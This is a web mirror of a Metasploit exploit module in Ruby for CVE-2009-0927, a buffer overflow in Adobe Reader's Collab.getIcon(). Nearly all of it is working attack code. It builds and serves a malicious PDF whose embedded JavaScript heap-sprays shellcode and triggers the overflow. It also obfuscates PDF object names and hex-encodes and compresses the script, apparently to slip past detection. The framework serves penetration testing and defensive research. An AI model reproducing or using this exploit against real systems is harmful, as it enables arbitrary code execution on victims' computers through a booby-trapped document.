CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_geticon.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe Collab.getIcon() Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
18
Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
19
crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
20
be able to execute arbitrary code.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'MC',
26
'Didier Stevens <didier.stevens[at]gmail.com>',
27
'jduck'
28
],
29
'References' =>
30
[
31
[ 'CVE', '2009-0927' ],
32
[ 'OSVDB', '53647' ],
33
[ 'ZDI', '09-014' ],
34
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']
35
],
36
'DefaultOptions' =>
37
{
38
'EXITFUNC' => 'process',
39
},
40
'Payload' =>
41
{
42
'Space' => 1024,
43
'BadChars' => "\x00",
44
},
45
'Platform' => 'win',
46
'Targets' =>
47
[
48
# test results (on Windows XP SP3)
49
# reader 7.0.5 - no trigger
50
# reader 7.0.8 - no trigger
51
# reader 7.0.9 - no trigger
52
# reader 7.1.0 - no trigger
53
# reader 7.1.1 - reported not vulnerable
54
# reader 8.0.0 - works
55
# reader 8.1.2 - works
56
# reader 8.1.3 - reported not vulnerable
57
# reader 9.0.0 - works
58
# reader 9.1.0 - reported not vulnerable
59
[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
60
],
61
'DisclosureDate' => '2009-03-24',
62
'DefaultTarget' => 0))
63
end
64
65
def autofilter
66
false
67
end
68
69
def check_dependencies
70
use_zlib
71
end
72
73
def on_request_uri(cli, request)
74
return if ((p = regenerate_payload(cli)) == nil)
75
# Encode the shellcode.
76
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
77
78
# Make some nops
79
nops = Rex::Text.to_unescape(make_nops(4))
80
81
# Randomize variables
82
rand1 = rand_text_alpha(rand(100) + 1)
83
rand2 = rand_text_alpha(rand(100) + 1)
84
rand3 = rand_text_alpha(rand(100) + 1)
85
rand4 = rand_text_alpha(rand(100) + 1)
86
rand5 = rand_text_alpha(rand(100) + 1)
87
rand6 = rand_text_alpha(rand(100) + 1)
88
rand7 = rand_text_alpha(rand(100) + 1)
89
rand8 = rand_text_alpha(rand(100) + 1)
90
rand9 = rand_text_alpha(rand(100) + 1)
91
rand10 = rand_text_alpha(rand(100) + 1)
92
rand11 = rand_text_alpha(rand(100) + 1)
93
rand12 = rand_text_alpha(rand(100) + 1)
94
randnop = rand_text_alpha(rand(100) + 1)
95
96
script = %Q|
97
var #{rand1} = unescape("#{shellcode}");
98
var #{rand2} ="";
99
var #{randnop} = "#{nops}";
100
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{randnop}");
101
#{rand4} = #{rand2} + #{rand1};
102
#{rand5} = unescape(#{randnop});
103
#{rand6} = 20;
104
#{rand7} = #{rand6}+#{rand4}.length
105
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
106
#{rand8} = #{rand5}.substring(0, #{rand7});
107
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
108
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
109
#{rand10} = new Array();
110
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
111
var #{rand12} = unescape("%0a");
112
while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
113
#{rand12} = "N."+#{rand12};
114
Collab.getIcon(#{rand12});
115
|
116
117
# Create the pdf
118
pdf = make_pdf(script)
119
120
print_status("Sending #{self.name}")
121
122
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
123
124
handler(cli)
125
end
126
127
def random_non_ascii_string(count)
128
result = ""
129
count.times do
130
result << (rand(128) + 128).chr
131
end
132
result
133
end
134
135
def io_def(id)
136
"%d 0 obj" % id
137
end
138
139
def io_ref(id)
140
"%d 0 R" % id
141
end
142
143
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
144
def n_obfu(str)
145
result = ""
146
str.scan(/./u) do |c|
147
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
148
result << "#%x" % c.unpack("C*")[0]
149
else
150
result << c
151
end
152
end
153
result
154
end
155
156
def ascii_hex_whitespace_encode(str)
157
result = ""
158
whitespace = ""
159
str.each_byte do |b|
160
result << whitespace << "%02x" % b
161
whitespace = " " * (rand(3) + 1)
162
end
163
result << ">"
164
end
165
166
def make_pdf(js)
167
168
xref = []
169
eol = "\x0d\x0a"
170
endobj = "endobj" << eol
171
172
pdf = "%PDF-1.5" << eol
173
pdf << "%" << random_non_ascii_string(4) << eol
174
xref << pdf.length
175
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
176
xref << pdf.length
177
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
178
xref << pdf.length
179
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
180
xref << pdf.length
181
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
182
xref << pdf.length
183
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
184
xref << pdf.length
185
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
186
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
187
pdf << "stream" << eol
188
pdf << compressed << eol
189
pdf << "endstream" << eol
190
pdf << endobj
191
xrefPosition = pdf.length
192
pdf << "xref" << eol
193
pdf << "0 %d" % (xref.length + 1) << eol
194
pdf << "0000000000 65535 f" << eol
195
xref.each do |index|
196
pdf << "%010d 00000 n" % index << eol
197
end
198
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
199
pdf << "startxref" << eol
200
pdf << xrefPosition.to_s() << eol
201
pdf << "%%EOF" << eol
202
203
end
204
end
205
206